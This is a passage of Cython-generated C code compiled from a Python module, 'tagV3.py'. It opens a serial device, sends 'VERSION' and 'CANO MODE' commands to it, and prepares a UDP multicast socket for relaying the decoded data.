*__pyx_t_7 = NULL; __Pyx_RefNannySetupContext("createThread", 0); /* "tagV3.py":346 * * def createThread(self,d, decoder, name): * p = Thread( target=self.decoder, args=(decoder['device'], decoder['baud'], d['multi_ip'], d['port'])) # <<<<<<<<<<<<<< * return p * */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Thread); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 346, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 346, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_decoder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 346, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_target, __pyx_t_3) < 0) __PYX_ERR(0, 346, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyObject_GetItem(__pyx_v_decoder, __pyx_n_u_device); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 346, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = PyObject_GetItem(__pyx_v_decoder, __pyx_n_u_baud); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 346, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = PyObject_GetItem(__pyx_v_d, __pyx_n_u_multi_ip); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 346, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = PyObject_GetItem(__pyx_v_d, __pyx_n_u_port); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 346, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = PyTuple_New(4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 346, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 1, __pyx_t_4); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_7, 2, __pyx_t_5); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 3, __pyx_t_6); __pyx_t_3 = 0; __pyx_t_4 = 0; __pyx_t_5 = 0; __pyx_t_6 = 0; if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_args, __pyx_t_7) < 0) __PYX_ERR(0, 346, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 346, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v_p = __pyx_t_7; __pyx_t_7 = 0; /* "tagV3.py":347 * def createThread(self,d, decoder, name): * p = Thread( target=self.decoder, args=(decoder['device'], decoder['baud'], d['multi_ip'], d['port'])) * return p # <<<<<<<<<<<<<< * * def decoder(self, device, baud, ip, port): */ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(__pyx_v_p); __pyx_r = __pyx_v_p; goto __pyx_L0; /* "tagV3.py":345 * task = dict([]) * * def createThread(self,d, decoder, name): # <<<<<<<<<<<<<< * p = Thread( target=self.decoder, args=(decoder['device'], decoder['baud'], d['multi_ip'], d['port'])) * return p */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_AddTraceback("tagV3.decoder.createThread", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_p); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":349 * return p * * def decoder(self, device, baud, ip, port): # <<<<<<<<<<<<<< * theSer = serial.Serial( device, baud) * if not theSer.is_open: */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_3decoder(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_3decoder = {"decoder", (PyCFunction)__pyx_pw_5tagV3_7decoder_3decoder, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_3decoder(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { CYTHON_UNUSED PyObject *__pyx_v_self = 0; PyObject *__pyx_v_device = 0; PyObject *__pyx_v_baud = 0; PyObject *__pyx_v_ip = 0; PyObject *__pyx_v_port = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("decoder (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_device,&__pyx_n_s_baud,&__pyx_n_s_ip,&__pyx_n_s_port,0}; PyObject* values[5] = {0,0,0,0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 5: values[4] = PyTuple_GET_ITEM(__pyx_args, 4); case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_device)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("decoder", 1, 5, 5, 1); __PYX_ERR(0, 349, __pyx_L3_error) } case 2: if (likely((values[2] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_baud)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("decoder", 1, 5, 5, 2); __PYX_ERR(0, 349, __pyx_L3_error) } case 3: if (likely((values[3] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_ip)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("decoder", 1, 5, 5, 3); __PYX_ERR(0, 349, __pyx_L3_error) } case 4: if (likely((values[4] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_port)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("decoder", 1, 5, 5, 4); __PYX_ERR(0, 349, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "decoder") < 0)) __PYX_ERR(0, 349, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 5) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); values[2] = PyTuple_GET_ITEM(__pyx_args, 2); values[3] = PyTuple_GET_ITEM(__pyx_args, 3); values[4] = PyTuple_GET_ITEM(__pyx_args, 4); } __pyx_v_self = values[0]; __pyx_v_device = values[1]; __pyx_v_baud = values[2]; __pyx_v_ip = values[3]; __pyx_v_port = values[4]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("decoder", 1, 5, 5, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 349, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("tagV3.decoder.decoder", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5tagV3_7decoder_2decoder(__pyx_self, __pyx_v_self, __pyx_v_device, __pyx_v_baud, __pyx_v_ip, __pyx_v_port); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_2decoder(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_self, PyObject *__pyx_v_device, PyObject *__pyx_v_baud, PyObject *__pyx_v_ip, PyObject *__pyx_v_port) { PyObject *__pyx_v_theSer = NULL; PyObject *__pyx_v_multicast_group = NULL; PyObject *__pyx_v_sock = NULL; PyObject *__pyx_v_ttl = NULL; PyObject *__pyx_v_line = NULL; PyObject *__pyx_v_tp = NULL; PyObject *__pyx_v_millis = NULL; PyObject *__pyx_v_message = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; int __pyx_t_4; PyObject *__pyx_t_5 = NULL; int __pyx_t_6; int __pyx_t_7; PyObject *__pyx_t_8 = NULL; PyObject *__pyx_t_9 = NULL; Py_ssize_t __pyx_t_10; PyObject *__pyx_t_11 = NULL; PyObject *__pyx_t_12 = NULL; PyObject *__pyx_t_13 = NULL; int __pyx_t_14; char const *__pyx_t_15; PyObject *__pyx_t_16 = NULL; PyObject *__pyx_t_17 = NULL; PyObject *__pyx_t_18 = NULL; __Pyx_RefNannySetupContext("decoder", 0); /* "tagV3.py":350 * * def decoder(self, device, baud, ip, port): * theSer = serial.Serial( device, baud) # <<<<<<<<<<<<<< * if not theSer.is_open: * print( "ERROR Opening: ") */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_serial); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 350, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Serial); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 350, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; __pyx_t_4 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_4 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_v_device, __pyx_v_baud}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_4, 2+__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 350, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_v_device, __pyx_v_baud}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_4, 2+__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 350, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_5 = PyTuple_New(2+__pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 350, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_INCREF(__pyx_v_device); __Pyx_GIVEREF(__pyx_v_device); PyTuple_SET_ITEM(__pyx_t_5, 0+__pyx_t_4, __pyx_v_device); __Pyx_INCREF(__pyx_v_baud); __Pyx_GIVEREF(__pyx_v_baud); PyTuple_SET_ITEM(__pyx_t_5, 1+__pyx_t_4, __pyx_v_baud); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 350, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_v_theSer = __pyx_t_1; __pyx_t_1 = 0; /* "tagV3.py":351 * def decoder(self, device, baud, ip, port): * theSer = serial.Serial( device, baud) * if not theSer.is_open: # <<<<<<<<<<<<<< * print( "ERROR Opening: ") * print( device) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_theSer, __pyx_n_s_is_open); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 351, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_6 < 0)) __PYX_ERR(0, 351, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = ((!__pyx_t_6) != 0); if (__pyx_t_7) { /* "tagV3.py":352 * theSer = serial.Serial( device, baud) * if not theSer.is_open: * print( "ERROR Opening: ") # <<<<<<<<<<<<<< * print( device) * print("\n") */ __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__15, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 352, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":353 * if not theSer.is_open: * print( "ERROR Opening: ") * print( device) # <<<<<<<<<<<<<< * print("\n") * exit( -2) */ __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 353, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_v_device); __Pyx_GIVEREF(__pyx_v_device); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_device); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 353, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "tagV3.py":354 * print( "ERROR Opening: ") * print( device) * print("\n") # <<<<<<<<<<<<<< * exit( -2) * */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__17, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 354, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "tagV3.py":355 * print( device) * print("\n") * exit( -2) # <<<<<<<<<<<<<< * * multicast_group = (ip,port) */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_exit, __pyx_tuple__18, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "tagV3.py":351 * def decoder(self, device, baud, ip, port): * theSer = serial.Serial( device, baud) * if not theSer.is_open: # <<<<<<<<<<<<<< * print( "ERROR Opening: ") * print( device) */ } /* "tagV3.py":357 * exit( -2) * * multicast_group = (ip,port) # <<<<<<<<<<<<<< * * sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) */ __pyx_t_3 = PyTuple_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 357, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_v_ip); __Pyx_GIVEREF(__pyx_v_ip); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_v_ip); __Pyx_INCREF(__pyx_v_port); __Pyx_GIVEREF(__pyx_v_port); PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_v_port); __pyx_v_multicast_group = ((PyObject*)__pyx_t_3); __pyx_t_3 = 0; /* "tagV3.py":359 * multicast_group = (ip,port) * * sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # <<<<<<<<<<<<<< * sock.settimeout(0.1) * */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_socket); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_AF_INET); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_SOCK_DGRAM); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; __pyx_t_4 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_4 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_t_2, __pyx_t_8}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_4, 2+__pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_t_2, __pyx_t_8}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_4, 2+__pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif { __pyx_t_9 = PyTuple_New(2+__pyx_t_4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_4, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_4, __pyx_t_8); __pyx_t_2 = 0; __pyx_t_8 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_v_sock = __pyx_t_3; __pyx_t_3 = 0; /* "tagV3.py":360 * * sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) * sock.settimeout(0.1) # <<<<<<<<<<<<<< * * ttl = struct.pack('b', 10) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_sock, __pyx_n_s_settimeout); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 360, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__19, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 360, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "tagV3.py":362 * sock.settimeout(0.1) * * ttl = struct.pack('b', 10) # <<<<<<<<<<<<<< * sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) * theSer.write('VERSION\r\n'.encode()) */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_struct); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_pack); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__20, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_v_ttl = __pyx_t_5; __pyx_t_5 = 0; /* "tagV3.py":363 * * ttl = struct.pack('b', 10) * sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) # <<<<<<<<<<<<<< * theSer.write('VERSION\r\n'.encode()) * theSer.write('CANO MODE\r\n'.encode()) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_sock, __pyx_n_s_setsockopt); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_IPPROTO_IP); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_IP_MULTICAST_TTL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; __pyx_t_4 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_4 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[4] = {__pyx_t_9, __pyx_t_8, __pyx_t_2, __pyx_v_ttl}; __pyx_t_5 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_4, 3+__pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[4] = {__pyx_t_9, __pyx_t_8, __pyx_t_2, __pyx_v_ttl}; __pyx_t_5 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_4, 3+__pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_1 = PyTuple_New(3+__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_9) { __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_9); __pyx_t_9 = NULL; } __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_4, __pyx_t_8); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_4, __pyx_t_2); __Pyx_INCREF(__pyx_v_ttl); __Pyx_GIVEREF(__pyx_v_ttl); PyTuple_SET_ITEM(__pyx_t_1, 2+__pyx_t_4, __pyx_v_ttl); __pyx_t_8 = 0; __pyx_t_2 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "tagV3.py":364 * ttl = struct.pack('b', 10) * sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) * theSer.write('VERSION\r\n'.encode()) # <<<<<<<<<<<<<< * theSer.write('CANO MODE\r\n'.encode()) * */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_theSer, __pyx_n_s_write); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = PyUnicode_AsEncodedString(__pyx_kp_u_VERSION, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_2) { __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_5); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_5 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_5); 